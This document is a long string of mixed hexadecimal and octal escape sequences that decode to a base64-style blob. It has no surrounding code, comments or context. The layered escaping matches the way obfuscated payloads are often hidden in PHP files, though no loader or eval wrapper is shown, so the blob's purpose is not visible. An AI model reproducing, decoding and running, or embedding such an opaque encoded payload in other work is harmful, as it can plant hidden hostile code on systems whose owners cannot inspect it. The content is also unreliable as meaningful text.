f\x42\105\x43\67\101\104\165\67\152\x59\x62\x78\x41\151\114\x43\x38\147\x46\104\x48\x55\112\104\x77\x54\63\x34\144\x76\64\63\124\x71\162\125\x77\x57\x4c\x32\102\x33\63\x5a\113\x30\x44\103\x5a\x7a\147\x4c\152\103\105\60\x31\x73\141\x66\170\150\x38\x65\110\113\x45\x47\113\110\143\125\x39\163\x37\12\116\144\x67\x73\142\x48\101\x2b\172\x65\x52\145\x56\x68\x46\x37\146\66\124\x4f\x4d\x2f\x79\x41\111\x6e\x51\x45\x69\x38\142\162\x48\x52\x73\131\x2b\127\123\104\x5a\167\170\124\x69\110\171\x45\172\147\101\x74\x76\115\x47\x37\101\x6c\151\152\x51\x32\x77\x43\x64\x53\121\143\110\x47\126\x62\x4d\116\61\112\12\102\x61\x46\105\x76\x42\105\x55\x41\150\104\x59\115\x53\165\x56\104\x44\153\172\161\x51\151\x48\x74\61\x38\114\155\x47\172\147\x6c\103\122\144\x47\102\155\x68\x56\107\x4f\142\x62\125\57\x30\x52\x59\61\124\x4c\105\105\x67\53\x49\156\127\x30\x48\x51\142\x77\106\x52\101\150\x42\x67\63\x77\142\x2f\170\12\142\x31\70\146\64\x46\x5a\x30\x59\x34\154\x64\x2f\x49\x30\70\x49\x63\x65\104\x77\x41\x4d\153\x64\155\x45\130\151\x2f\167\x4e\167\111\x76\x30\x30\x4e\170\130\172\104\x68\113\x79\x34\66\x46\106\x50\167\115\127\66\120\x42\x78\x6b\x59\67\153\x64\121\161\x67\67\57\x2f\171\144\162\x73\x31\x75\153\x70\12\x53\x65\x42\x57\130\170\170\126\x50\x48\x4f\x74\x63\61\111\122\106\x4e\145\147\67\145\x73\x43\156\131\x55\114\x58\125\x4e\x6c\142\x55\63\x77\x4a\x67\x32\x4a\103\x47\x38\163\147\x56\x76\x49\x6f\x52\x52\x61\103\x4e\147\x48\x38\x30\102\150\60\x42\157\x68\x43\120\x71\x75\111\x56\x2b\104\x67\132\121\117\xa\x41\104\x35\156\144\147\x32\156\167\170\x6a\x51\104\x49\x34\111\66\x42\103\65\x74\125\x33\111\x41\126\143\120\130\x37\x6b\157\x56\x62\115\71\117\x6e\x64\61\x45\x52\150\66\x4c\107\125\107\150\110\102\170\x6f\x53\105\111\x44\x4e\123\114\x58\101\155\144\57\144\60\126\x70\103\x4b\x49\110\x53\x41\x6f\12\x50\x4b\105\121\x67\171\x49\57\53\x39\70\164\x75\x41\x77\x4a\x56\x6f\x31\x78\x2f\x44\x76\167\143\x68\x4f\x4c\102\x70\x65\104\x37\x67\121\67\x68\x6e\171\x46\x76\172\125\151\143\x2b\61\x65\70\x70\121\125\x77\x35\144\x38\116\x32\x35\157\111\x42\x41\x63\150\144\164\x62\103\x36\x31\x6e\170\x44\x70\66\12\151\x59\x5a\x77\130\70\115\106\x74\123\x66\x62\x64\122\111\x37\161\x6e\x4d\116\126\70\131\x45\x36\x31\x48\103\164\x6d\x73\x34\171\160\x34\111\x50\147\162\143\x47\x46\156\64\116\x31\x76\67\170\x53\102\167\x57\x41\x68\111\103\150\x57\104\53\x77\x58\x6c\x44\x64\x30\x4c\127\x59\116\147\103\117\160\x59\xa\x34\x77\x72\132\147\x2f\x75\x4e\153\164\166\115\x68\120\141\165\x4c\x47\105\163\x76\142\x62\162\x59\66\x56\116\121\147\x75\114\123\101\x53\104\x5a\64\x58\111\110\146\57\x4e\162\124\124\64\x45\x41\x55\126\x2f\101\x50\122\126\x6a\166\x4b\146\122\127\116\x4e\x50\x43\x33\63\x65\x31\112\x4b\71\x45\x45\12\x74\131\x67\123\x67\171\x59\103\x78\147\170\x4b\144\x66\x65\x4c\x33\x62\131\117\144\156\147\x45\125\67\x65\x4f\x4d\70\102\x70\x78\167\x57\x66\x41\130\x76\63\x44\x49\116\101\x36\63\x41\x39\153\x42\113\102\130\124\x30\102\x2b\122\155\x51\x6b\x59\122\x4b\x50\132\120\65\107\132\x43\x66\150\x54\143\x39\xa\152\131\x49\x6b\120\x59\x39\x4f\156\x70\x38\x42\x68\x68\105\x39\153\147\161\x4b\141\x79\x32\115\156\x5a\62\111\x61\162\x58\124\144\101\160\162\x77\110\x30\x66\x57\126\67\x72\x43\x50\160\122\x45\127\x4f\152\64\61\x6c\167\106\120\151\x44\171\x50\x38\170\x62\x46\x6b\x6f\x31\171\151\65\x75\x46\164\144\12\x77\53\122\x47\125\x53\67\x75\146\142\x74\x47\117\x57\152\x5a\x56\162\147\x46\144\117\63\162\67\122\166\x38\x6e\64\x44\101\x44\104\x76\x47\143\x77\x51\65\105\x4e\62\x4e\104\x45\154\145\101\x2b\x78\x79\x66\x4c\53\x4e\x46\x54\166\102\x45\156\x53\x57\115\167\x68\141\x65\102\x6b\x34\163\x67\x41\132\12\x57\162\x48\153\122\104\120\170\x6b\121\x34\x6c\151\153\x59\x42\112\60\60\x32\107\171\x37\x51\x49\102\x48\101\x77\106\103\x6e\x46\126\122\60\x35\166\151\x32\x6c\x53\126\141\64\x79\105\116\x42\x77\157\70\x49\110\x61\x36\162\162\x32\126\x54\x51\167\x67\144\57\x6f\x30\113\x41\121\120\x36\146\125\x75\xa\x4c\132\124\x5a\62\x31\115\x6e\x4f\x52\x31\141\x32\x39\x63\127\162\x41\x35\x62\127\x74\x41\x54\x2f\x79\x63\66\x41\x6e\x2f\66\x53\171\x45\123\120\104\x31\x30\101\x55\x64\144\107\x78\170\x5a\152\123\x4c\x38\x54\155\63\167\101\x65\x76\x6f\x72\x4c\x31\x68\132\x68\161\x63\101\x32\x35\110\127\63\x74\x5a\12\x35\172\x55\111\x39\131\x37\163\x66\167\x74\x50\x43\x63\131\x48\x50\x55\105\x34\110\x33\x51\65\x56\126\x63\65\x69\x74\62\x2b\x52\125\x68\132\122\131\101\x2f\123\x53\112\x56\116\x4c\132\x59\164\x6c\x42\65\x50\x41\x59\x75\x4f\x7a\x61\x78\x62\x33\146\x38\145\x4b\x78\132\x62\154\x6b\x44\57\x54\x64\x31\xa\171\126\x33\57\x68\x45\120\160\164\63\x30\x57\x64\151\x73\x64\x43\64\x6b\x65\x6a\131\x63\62\102\154\x38\x34\x71\x57\106\142\61\106\x47\71\162\x78\x69\x35\x56\x37\x34\167\151\151\62\x70\x50\67\142\104\x71\132\101\x54\x4b\x61\x49\x59\146\x50\64\64\x67\66\61\103\150\x52\x68\x4e\112\x38\x37\64\xa\x76\116\157\x47\x72\x78\126\61\x6e\x36\171\114\x44\171\60\x4e\62\x7a\x61\147\57\x4e\x69\x49\x31\113\147\x59\164\x57\x47\124\162\164\141\150\x43\103\70\x6e\x32\172\x57\163\61\123\x53\x47\115\x54\x56\x77\106\105\x68\x61\x7a\x75\x56\x75\132\147\x43\143\157\57\x79\x6c\x4c\x35\x68\x53\x75\x37\x56\164\xa\124\102\147\143\106\112\123\x44\x49\x58\112\x71\x6a\x6c\150\152\x69\60\160\71\126\x4c\x55\147\162\x64\x56\x4c\160\x59\x56\x34\144\172\x65\104\x78\61\x4d\125\x38\147\166\x2f\x77\x6f\x41\x34\155\x30\123\x4b\125\101\x46\x41\x67\120\161\53\x4b\x59\x54\x53\x64\103\x55\130\63\x72\x6a\x39\60\x76\141\x43\xa\64\126\144\x48\x42\110\121\71\x41\x59\130\x32\x63\x49\x6f\121\x48\124\x73\171\x39\157\147\127\122\x6b\x41\x4c\x31\145\x76\x4f\104\101\x53\101\171\x4e\152\164\114\x52\x31\x47\121\102\172\162\x51\170\x34\x46\x66\x30\166\x65\x74\147\122\x41\x52\x4e\162\62\x67\170\x6b\x59\x69\x42\x35\145\x33\x70\x71\x37\12\x52\x6d\125\x67\144\x41\153\x4a\103\x41\154\x31\172\x48\125\x44\x53\x4c\x59\63\x6a\152\x57\x37\x53\155\x62\x2f\x67\x47\x55\131\101\105\64\101\53\67\65\155\x6c\162\142\x67\122\x43\163\106\112\x77\116\145\145\x47\102\x6d\142\120\x45\x58\x79\114\171\114\x56\x62\x62\x43\141\170\146\x66\101\x73\x66\x51\xa\61\x34\125\151\130\x4e\110\x34\x39\171\63\167\x51\x45\x50\x72\x39\65\x49\163\x39\163\x4d\102\x6c\x74\172\x61\130\67\150\102\x4f\x58\61\x74\104\131\102\64\x41\x53\x4b\116\x34\170\x32\114\x77\x69\150\150\62\x45\x70\142\116\x77\x67\115\x37\165\57\62\164\71\x38\x59\x47\101\53\x55\167\157\x6b\x46\xa\60\145\x75\x4c\x30\x30\x75\x46\153\x77\65\104\x69\x4e\160\142\157\x55\x4c\x58\x42\142\x46\x4c\144\x66\x4f\101\x33\x30\132\162\65\113\x63\x67\x50\x31\125\113\151\152\53\x73\165\71\121\x32\144\x44\x6f\120\x5a\63\x51\x75\113\102\156\151\167\147\153\x54\x42\x67\x59\x66\107\167\71\101\163\x47\x74\x7a\xa\101\x77\x4d\126\x41\125\103\121\104\x62\127\x72\x33\144\145\107\x4d\101\x38\x4f\147\70\143\x44\x67\57\x65\125\155\x67\106\104\x6f\x2b\x48\x37\x6f\117\x4f\106\104\155\x35\112\x6f\x54\x53\111\125\67\x73\164\x70\105\x42\116\116\147\x66\x74\167\x54\x33\x41\x7a\x41\124\x56\53\x6a\x33\x58\101\123\60\x57\xa\111\145\63\162\113\x47\131\127\x54\x70\132\166\126\x50\x73\x58\x36\x68\163\172\163\x67\x4e\x7a\101\x75\111\x50\127\157\x48\144\142\x4c\115\x4f\121\x77\x77\57\x4a\x38\112\x6d\117\x52\x35\164\60\106\x6f\162\x63\x2b\x73\x37\103\x50\x76\x35\116\x6e\x5a\x4c\x6e\x77\142\171\x4b\x38\x59\166\125\105\x37\122\xa\x2b\x49\65\x41\60\150\x32\x77\60\x51\112\144\x55\171\x73\x30\57\x39\143\61\113\126\x64\x4c\53\152\x76\162\x64\x44\111\x79\x43\64\x31\x71\162\157\x46\142\110\106\x56\x51\x75\x79\x51\154\111\x57\62\x44\61\x4c\61\127\x44\102\x41\x6e\x58\x41\x6d\x4c\x39\x73\x54\x50\x31\147\x4e\127\x6e\160\152\x44\12\x36\x31\117\126\124\113\125\x53\160\x5a\x4f\x35\150\142\106\60\120\107\102\104\60\x76\x5a\166\53\x33\121\x4b\x51\x44\x68\67\53\167\124\62\x4b\70\x64\x41\141\x6c\130\x4f\125\x6f\154\x57\127\x4b\162\67\122\x72\160\60\65\x57\103\x6b\x39\132\171\x7a\104\x70\122\146\120\x44\162\170\x78\151\x43\126\xa\167\53\167\x77\67\110\103\x43\122\111\163\122\117\155\x48\x54\x70\x4b\154\154\115\150\163\126\127\x55\101\x59\64\104\130\101\x73\x67\x42\x61\111\x42\66\x47\x4b\x66\165\x74\x62\x4e\x79\60\143\x78\160\164\102\114\142\107\x52\x67\125\113\157\x53\x4e\103\x37\165\57\x53\x39\x51\x67\x46\x47\53\x76\151\12\x6a\x65\x47\x59\124\150\61\x4e\x44\x47\131\112\121\156\130\x46\116\x65\156\x33\x52\121\x6e\x43\x62\x72\153\x4c\x4d\111\63\x63\x75\x2f\x31\130\x59\x72\150\x4b\x53\157\60\x63\114\x6e\167\103\144\x6a\153\x31\x59\x7a\x36\x77\x7a\120\x31\71\125\162\x38\105\x54\111\x38\x41\x4f\x49\120\x53\x2f\116\152\x50\12\x66\x34\153\x48\152\131\x68\x2b\167\x58\115\131\x67\107\x41\111\x47\x48\165\x42\171\x30\103\114\x44\63\131\111\147\143\106\70\x35\102\x56\151\146\53\142\126\123\x58\171\x37\x36\x77\x61\114\x43\x66\x76\170\114\x32\x79\x38\x30\130\x35\x47\151\x79\162\64\132\x44\141\113\124\x51\104\62\x77\x51\x45\167\12\x6f\145\66\x74\146\x67\121\111\144\121\165\154\163\x42\x36\x6c\x43\157\62\x2f\60\x4d\145\114\x7a\70\x48\x34\x42\131\61\x56\x79\x33\x51\166\x31\110\x72\x50\x49\x61\x55\x4c\151\x51\x67\x76\151\x44\126\145\x34\150\x76\162\122\x30\x57\104\167\x35\166\x2b\146\x4c\x70\121\113\x50\x45\x43\x6e\x2b\x77\70\12\62\x50\x2f\x79\x32\110\x56\116\117\170\x61\63\x62\x31\x30\101\102\111\107\60\141\x76\x5a\131\66\x34\152\x44\123\120\127\x37\110\x61\x45\67\167\120\x56\x59\162\113\x69\x44\x2f\63\x4d\x58\x56\62\142\x39\x4d\106\111\156\x44\x43\x55\x56\x50\164\101\x47\x67\105\64\x72\x38\71\x59\x6f\141\x75\157\113\xa\x41\x33\x55\x4b\x38\115\127\53\170\x47\64\x45\x42\x59\x42\104\144\x41\x4e\x38\155\x2f\53\64\101\152\x77\x72\163\172\141\157\60\153\x54\x44\x68\x58\162\126\125\x59\116\63\x47\x57\x67\143\145\x47\122\x72\x55\110\x59\x67\x56\x62\123\x6a\66\106\x6a\143\117\152\131\x38\150\123\64\145\60\125\x6f\120\xa\x50\x4f\x68\x59\66\112\101\x44\x38\x36\x42\x79\x53\114\71\x59\117\x4e\x46\67\57\x4f\x64\126\62\107\151\x30\62\x50\122\131\x75\103\x45\x65\103\103\65\123\x58\124\161\114\x35\x61\146\165\152\152\162\142\x54\x49\x74\x42\102\101\141\x65\x75\x42\x33\x72\166\x6f\172\122\144\101\x2b\164\126\x49\153\x43\12\x75\101\x4d\x51\167\x7a\67\x4e\x6a\166\66\x68\x69\71\x6c\x71\x2f\x6d\151\70\111\131\x6e\x2f\116\x51\x44\x46\114\x72\x6f\x67\x47\x53\x42\113\151\63\103\x2b\163\x4f\117\x32\121\120\x37\170\114\152\166\x61\x64\x43\x67\150\x64\157\x73\x4d\163\64\x58\x62\126\147\155\160\x62\125\x67\130\x66\114\x4f\x78\xa\57\146\x62\166\x2b\x33\125\x53\141\x41\105\102\114\x62\116\71\105\155\x37\x2f\126\101\x6a\162\x77\62\x53\120\x42\121\x6a\x74\x6e\x4f\116\104\x6f\x6f\172\156\132\111\x75\62\164\53\104\x53\x39\64\x46\x35\102\x47\x68\x31\x44\x56\x45\x4d\160\124\x6c\122\x6d\x4c\x68\x37\x43\x37\x45\x46\x6d\x34\160\x52\xa\x75\x78\x53\106\x32\x77\157\x45\x4b\x33\x45\111\161\107\106\114\x41\x72\144\x47\146\107\x74\104\x30\x47\163\115\127\x56\164\63\67\61\132\x44\x36\x47\x2f\x44\57\124\x49\167\127\105\x4d\167\115\120\146\x6a\103\x50\162\70\x69\61\x31\131\x69\x69\x33\x6c\154\x31\x68\x41\x35\116\155\103\65\161\102\x31\xa\143\x49\153\170\x52\x65\105\120\x43\111\156\x76\163\x72\125\53\x49\x58\116\x37\103\115\106\150\165\x6c\x76\x37\154\62\61\62\x73\131\x39\x30\122\x56\132\x56\x6a\x57\x73\121\x71\x41\x74\144\x49\x37\157\x58\x75\x6c\65\x42\x43\x38\x51\x7a\145\104\x77\x6c\x55\61\64\104\x78\162\x70\171\x45\132\x67\144\xa\x56\x67\172\141\164\x57\117\x79\106\126\x77\62\x62\x39\x36\120\123\x6e\x7a\x6e\x75\x6d\x32\120\126\121\x77\x37\103\x44\101\x61\151\x7a\123\120\x36\66\110\161\x48\x66\164\x71\x39\156\167\143\171\145\x73\x56\130\x45\117\x49\x54\126\x62\147\x50\61\60\x57\x6c\x4c\x56\103\x62\x32\x69\x38\117\64\163\160\xa\151\60\x48\62\101\x31\x35\x31\x79\122\157\x51\x4a\117\107\x68\x65\x36\60\141\x43\x72\151\150\x6d\146\111\161\151\156\x57\163\63\x4d\x39\x38\125\151\x46\157\x2f\104\x36\x47\x6f\124\150\x57\x6a\x32\104\125\171\61\x6e\x77\144\132\x7a\167\110\57\x35\147\x31\x34\110\x73\160\111\x52\x56\103\104\120\x4a\xa\x75\103\152\x59\x33\x62\124\126\120\152\x75\x51\103\60\112\102\120\x62\147\115\x66\x50\x47\65\150\x66\x65\63\154\146\x48\102\x35\x67\x4d\x37\154\x68\x6f\155\110\x43\x70\112\132\x35\x61\x47\142\x4c\172\x6f\x63\101\63\x58\x39\150\66\x36\x45\x4e\x65\157\x2b\156\x55\114\70\x53\x42\163\122\107\114\150\xa\150\126\167\x2b\57\67\153\x70\x41\117\x58\102\165\153\x6d\x36\115\102\115\130\57\x45\116\101\x4c\130\x46\x32\x46\x69\x5a\132\x45\154\x65\x53\x76\x57\x64\166\170\53\x49\x48\x59\x55\102\x5a\x5a\124\x78\x32\113\x52\154\x51\114\63\x42\62\106\x6e\124\x34\x44\x59\116\107\x61\x67\x4d\104\x4e\x37\x4f\x70\xa\x37\x76\x68\157\53\x45\106\x58\x71\103\145\x73\126\x57\x44\57\170\x73\x36\x53\x4e\x4e\x77\121\126\167\171\x38\x7a\x50\62\x51\x77\122\x33\x59\x76\120\x2b\x32\x4c\116\x4d\x57\x7a\x46\x53\x72\62\122\x45\x4b\x42\x43\x66\x42\x4c\x39\x38\x5a\163\x46\x6b\141\x4c\106\x2f\162\112\x6f\62\x45\x6d\x68\157\162\xa\141\x7a\102\161\x31\x7a\131\x37\x54\144\x4f\x6b\x33\121\x68\161\x39\116\170\x2f\170\106\x35\x4f\x54\125\x4f\101\171\x65\121\x74\104\x45\x64\x4c\x70\157\x30\x6d\x43\x45\146\106\151\152\70\x78\53\141\x70\x45\x4b\x66\x36\104\53\147\x52\171\114\146\x66\132\126\x48\x52\166\166\x76\71\x66\105\64\147\x48\12\122\60\154\x31\x2b\x6f\166\111\167\x65\x41\111\101\x38\x45\107\105\115\161\104\64\147\x50\x58\x58\x61\111\125\145\167\120\172\x71\172\x6f\107\x49\x77\x34\157\65\125\170\x4b\120\x73\60\x69\170\104\156\x4a\x56\x6f\x30\x45\x46\127\x56\x50\x33\x49\x43\x75\110\x68\x61\x4b\x51\x34\x53\x49\x4a\x48\126\x62\xa\60\x49\123\102\x48\107\x5a\x54\104\x67\154\106\150\x67\117\165\161\x32\157\150\x49\172\x76\153\145\x43\x51\x7a\125\x71\x51\102\x2f\x77\x55\131\x39\160\x6f\x42\146\166\101\130\114\x79\105\61\165\x4c\121\x51\x66\130\x43\151\x46\x62\x67\x69\57\x4e\65\x57\114\x4a\144\x33\57\101\156\123\165\115\147\x56\12\x4f\x54\102\x30\x63\152\x42\x43\x56\x46\x47\x61\131\x75\x45\116\x36\116\165\143\71\x39\131\x56\111\x78\x67\153\166\153\102\x6a\127\142\x2f\x67\x67\x74\101\127\145\x77\156\124\66\101\x47\112\x55\x4d\117\161\143\130\x4f\152\164\145\156\x6b\x67\x41\x2b\x47\67\x34\x42\71\67\162\107\x31\53\x4e\115\132\xa\165\60\63\x76\151\150\105\120\104\x4b\x36\x78\x39\x30\63\x38\114\114\x5a\x42\57\53\121\x37\167\147\53\110\x6b\x79\x58\x48\x57\x32\x31\x5a\x41\x77\x37\165\125\153\147\57\x55\165\170\x2b\x6f\x77\105\163\151\167\x53\161\152\132\x37\x59\x6b\131\x41\67\x76\60\x33\x6f\142\x37\124\114\x64\x43\171\x4b\xa\125\x51\x46\x6b\150\142\142\66\x4f\x38\144\x33\x74\62\x2f\63\152\122\x54\112\57\111\161\123\x77\103\101\111\x6b\x45\132\101\105\63\142\61\142\102\x75\66\x38\x45\106\x42\147\x44\x6b\x59\x31\x50\x2f\143\167\167\x69\144\57\105\x47\x57\115\103\x32\105\x77\146\x7a\x39\172\107\60\x57\110\164\x35\x51\12\157\x36\167\x4c\x65\145\124\115\166\x38\x42\x30\x37\x50\67\145\x44\x36\x57\x6c\x57\141\x4f\67\x70\145\164\x56\121\110\156\x2f\57\60\147\71\146\x57\x5a\167\107\x6b\x4b\x68\x43\105\101\x39\x53\x6e\113\x77\142\102\131\x72\x49\x7a\x6b\163\x56\104\x62\127\130\x6d\x74\x78\53\147\166\103\124\141\x73\101\xa\x76\x6f\x4c\x62\x36\117\x73\x4e\x32\x46\x77\113\x6d\172\x43\x73\x34\x4b\x70\121\53\167\124\x56\110\125\x46\142\141\156\147\x66\110\x70\130\146\x67\x79\125\x68\x56\146\64\152\120\x4d\152\x57\66\x6b\164\x63\57\171\126\x34\x61\x76\60\157\115\110\x4a\x68\x46\x47\172\x38\65\122\141\170\x5a\123\144\171\12\107\x55\156\61\x55\113\155\x55\x67\141\x6d\x65\113\151\x69\x30\x77\142\131\62\x46\167\121\116\142\153\147\147\144\x6a\x5a\x54\x4f\x77\107\64\x42\x4f\x6b\106\x45\x67\163\147\114\172\172\120\103\x42\x46\x58\142\106\x6b\x7a\x77\x4e\64\142\111\x64\151\x71\164\102\x65\x6a\x78\x64\x77\x62\x42\x73\x37\x36\xa\167\x31\x38\172\106\113\121\x45\x37\x41\x61\115\103\x49\x31\127\71\x2b\143\113\106\147\165\x6d\146\172\x38\60\x77\x4c\66\x48\151\x49\x51\106\x37\113\x79\x43\x78\x71\x57\66\x2b\x76\65\x79\x39\111\160\x46\70\163\141\106\x44\x53\x43\160\116\x36\115\166\x34\x65\x72\107\x6a\x56\126\x67\x74\x67\x72\x61\xa\166\x33\143\144\113\170\x69\x30\145\x2b\x7a\111\152\142\x77\161\x51\142\147\x67\101\111\x76\x5a\154\x7a\x62\71\x39\163\x2f\x4c\121\x6b\x4b\x4b\x51\166\x38\60\x64\x64\102\146\x57\x32\161\x64\67\x50\160\131\141\x2f\131\x61\147\172\127\116\x65\152\x46\127\x6e\x62\106\147\170\x46\x61\61\111\x2f\x32\x79\12\x6d\x30\x33\62\110\x56\x59\145\126\x6a\121\152\113\x4b\x71\167\121\61\x63\171\x2f\x47\x6a\x76\112\x33\x39\142\163\x42\122\145\130\104\x32\116\143\155\141\x4c\105\x62\53\x66\x73\115\x44\62\167\x6d\101\x57\53\150\103\x4b\154\x41\126\153\151\112\x42\117\x33\x67\x71\131\64\x4c\70\x61\101\156\121\121\12\x49\115\x5a\x62\101\x48\144\142\160\161\x41\143\x67\x57\110\103\104\x59\60\70\101\x4c\x2f\162\x53\122\125\x6c\146\x31\150\x6a\165\60\x46\171\107\121\122\141\x71\x6b\166\111\147\x4d\105\x67\151\112\x4f\x58\164\x37\x47\111\123\x52\x38\144\x59\x58\x49\124\x65\156\143\x4f\162\155\x37\x59\x6d\x79\x44\160\xa\111\117\166\147\124\x45\161\x2b\x5a\x65\x48\x58\x67\167\105\66\x45\x6d\x72\x39\x43\112\132\x5a\57\106\x2b\144\131\x48\111\111\x57\166\x51\x44\112\x4e\103\157\147\122\53\x58\110\167\x2f\x32\126\x68\157\127\x4c\x56\147\x2b\x5a\x78\70\66\x58\x72\x30\x54\121\x4d\116\66\x48\x62\171\x78\163\116\144\111\xa\146\115\163\143\x4a\x32\x71\x4e\x70\x43\124\103\x2f\x37\x75\163\64\x5a\x48\64\x56\57\146\102\x41\57\66\113\x41\125\107\x32\117\x77\64\123\x2f\146\57\57\144\x66\107\x4c\x41\142\x72\57\57\166\x35\53\101\71\x43\104\70\120\70\x7a\x77\x6f\x50\102\102\x4b\155\x2f\x68\x74\x39\164\70\111\106\x30\12\x36\112\146\x38\x4a\151\x4f\105\x35\110\121\141\161\125\150\60\147\122\64\x64\x36\x4b\x6d\x6e\x6f\x38\x32\116\171\70\x74\142\157\x7a\x2f\53\x42\120\x37\x72\x43\x50\63\162\101\x2f\172\141\x47\x73\167\x52\71\154\x38\132\103\x30\x45\x4d\x2f\x57\x42\166\x78\127\123\111\106\x30\x64\151\67\x75\163\x46\12\x69\122\x65\53\x72\x42\103\x73\x78\127\144\x75\141\x59\116\162\116\57\141\x32\155\53\105\x76\116\x49\x54\x6b\x4a\x2f\146\103\141\122\111\110\x32\x51\155\x30\x73\x57\162\110\x4f\103\65\x6d\x43\114\131\x6c\x4b\x39\x48\x47\67\147\167\x49\151\101\x63\152\x77\71\x6b\x49\x75\x48\x41\x71\x57\163\x55\142\xa\71\145\x69\x75\x2f\162\110\147\144\171\111\x4f\x62\x54\157\66\165\x32\x33\141\144\122\x5a\x6b\x6d\112\66\x44\106\144\x6f\124\x4b\x76\156\145\122\x62\163\142\x4f\x45\x4a\x59\x4e\x63\x41\116\144\x77\x74\x57\x47\151\x4a\x6c\161\102\x52\116\x50\x52\x77\165\x41\x33\102\171\103\123\57\125\x2f\70\162\155\12\70\106\x5a\x71\132\x45\x45\64\x78\x41\131\101\130\x31\x36\111\60\112\x43\x54\x46\105\101\x41\x35\x4b\123\65\x53\x47\115\x79\x4a\102\116\x4a\x74\153\x65\x34\121\x62\125\x72\167\x63\x4d\x4a\57\x71\142\x5a\x5a\112\114\71\57\x49\x62\107\x6f\116\x42\x53\x74\x46\146\x46\156\125\61\123\x74\164\x45\114\12\x46\x4d\105\121\60\x51\x50\x47\x31\x48\x62\x55\x4d\111\x33\x74\x2b\120\147\120\x67\x6e\150\110\x39\x38\x65\115\x46\x49\x72\121\x2f\x30\x49\64\153\144\x39\171\x4b\146\117\154\57\x79\x53\x56\x36\103\167\x57\x4b\x76\104\x62\x59\163\x65\x36\110\111\120\160\123\x4d\x72\147\143\x7a\117\x33\x4a\x59\x6a\111\12\106\x34\x55\x41\102\x6f\63\x34\124\144\x63\71\130\132\x41\x48\x66\x42\x41\105\120\x41\x4e\x67\x49\x37\x61\x33\x77\x4d\110\x52\151\163\x7a\x58\x69\x45\x63\x42\x42\121\x49\x5a\127\x37\142\155\x56\x67\150\x5a\170\x73\x64\143\172\112\141\x78\132\123\x65\x4e\x53\123\163\x6c\101\x51\x49\67\x6d\x2b\122\132\xa\x41\x71\141\x51\x49\60\131\x68\x72\x6a\x75\x51\162\60\143\57\152\116\x38\107\x7a\x41\117\141\x70\155\x6d\x61\170\x4c\171\x30\x72\x4b\123\x63\116\116\x31\103\x2f\x37\71\x45\152\x75\123\x4a\x6c\53\x51\110\x36\117\x6a\124\x4e\x45\63\124\67\117\x7a\x77\70\120\121\x43\x30\172\122\116\71\x50\x6a\64\xa\x2f\x42\x42\x61\x66\x4e\x67\x6f\x6a\x5a\x6f\x44\x38\x48\157\112\167\x44\x54\x62\67\57\x2f\167\101\x43\60\104\104\103\x41\x4e\67\x43\63\x74\x57\106\x35\146\157\x4a\x43\x64\x43\x77\156\102\x42\x5a\x76\x35\105\141\x4d\116\64\145\63\104\x44\x41\157\x72\152\x58\121\170\x5a\63\x77\65\57\x48\x39\62\12\62\x30\x73\107\112\x41\x33\71\x34\x2f\170\63\147\103\67\x43\145\127\164\170\122\x65\x2b\x4e\x4d\103\x36\x50\x46\x2f\155\143\124\120\x6b\162\151\103\60\x73\x77\155\141\x36\x37\160\103\x59\103\x37\147\104\64\107\60\104\117\x6c\x76\x79\x64\142\144\166\101\x30\x35\131\x54\61\141\x32\123\71\60\165\12\x59\144\147\146\x6f\x2b\x34\x43\x37\x77\113\70\132\121\120\x79\113\x59\171\x51\x4a\x79\123\116\126\67\131\x6b\161\x79\x30\104\x72\x6b\130\x58\x58\132\151\x42\x57\x6d\x42\x62\x4e\x41\x59\x38\101\x30\x33\124\116\x45\61\105\x54\x46\x52\x63\132\x48\144\160\x6d\155\141\x45\114\x70\x63\143\110\x42\x67\131\12\160\x6d\x6d\141\160\x68\x51\125\105\102\101\x4d\153\x4b\132\160\155\147\167\111\x43\101\121\105\124\144\x65\x64\x73\102\x2b\x51\102\132\x67\104\x71\x4c\167\154\117\114\145\105\x4c\x70\x65\63\164\131\143\x44\127\167\151\x7a\x44\64\x4d\124\111\x5a\x6c\117\103\x4c\144\x6f\x51\102\156\126\x44\x4c\x6b\x57\xa\x59\110\113\60\x53\x46\x75\164\163\x35\x30\154\165\x71\167\x47\x73\101\x55\x47\x77\111\172\105\x6f\66\151\x55\x6f\x4c\x72\163\x70\144\65\x43\x65\x4b\x45\x59\53\131\x43\x68\x74\x41\x66\141\164\x44\x56\147\151\114\x72\141\126\x4a\x4a\121\104\x4e\143\114\x37\x5a\x59\x31\101\x43\x52\x79\x42\62\x4d\125\12\x36\53\x68\x66\132\x58\111\122\111\x61\120\x4c\156\x73\130\x32\126\156\113\166\x38\57\x72\171\x4b\x33\x45\115\127\x72\x69\x44\57\67\57\x41\167\166\x78\x58\167\145\64\120\151\70\x36\114\145\x76\170\x70\x79\121\x53\166\x53\64\154\x39\x32\103\x6a\x6b\x33\x6a\103\115\x41\125\123\132\111\x4c\132\x4e\12\x78\162\143\x47\x33\114\x30\x4d\105\x39\125\x49\x2b\x48\126\57\167\x52\107\152\x51\x6e\172\x37\x61\152\71\112\x58\x77\163\115\x4f\x38\71\62\161\132\x45\114\102\130\x71\x37\x45\167\121\67\x41\167\150\x31\x53\114\x32\x6c\x49\x50\53\164\x66\53\x68\172\x48\114\71\x78\60\53\53\116\124\x41\107\117\12\x31\171\x46\x38\x73\105\x54\x2b\x43\130\125\165\62\x4e\141\x37\x4b\63\x55\150\117\145\163\153\x64\x65\x41\145\114\130\x30\x36\x39\x32\101\150\x76\114\104\105\105\151\x51\x47\145\x51\x53\x5a\x73\130\114\102\125\131\x64\x38\105\167\x6f\x45\152\145\x2b\62\107\x38\x78\x64\x2b\101\x30\111\x6a\x49\x76\67\xa\x77\x66\x38\x45\132\110\x52\142\62\71\x72\57\x50\x33\165\x47\130\x79\x2b\71\x34\x5a\x66\x73\106\x57\157\101\x57\151\124\x51\113\x36\147\106\x75\156\57\115\x45\x61\107\112\126\x66\150\112\x57\x6a\x76\113\x70\x6e\x62\62\57\x4c\155\x74\x64\x66\x50\x4b\x51\x52\166\67\121\x44\x34\67\53\156\142\x62\xa\x55\x72\163\x74\155\x50\161\57\x64\107\x73\165\x69\x56\x47\53\125\124\x77\171\x4d\155\x43\71\x75\x75\162\123\x49\x56\x52\150\167\123\x4b\130\105\x52\x36\71\x4c\144\131\x53\70\x74\x49\x68\154\x45\170\x53\166\61\160\x5a\172\x72\x5a\112\166\153\x6f\114\102\101\147\x52\106\x53\x35\x73\61\x4a\105\x6e\xa\67\116\125\x4a\x4f\124\117\x47\x66\104\115\x62\x70\111\x6b\160\70\x49\60\x4d\53\x63\162\127\x58\120\x63\114\x4a\x6f\x6b\x76\104\147\125\x49\x6f\154\61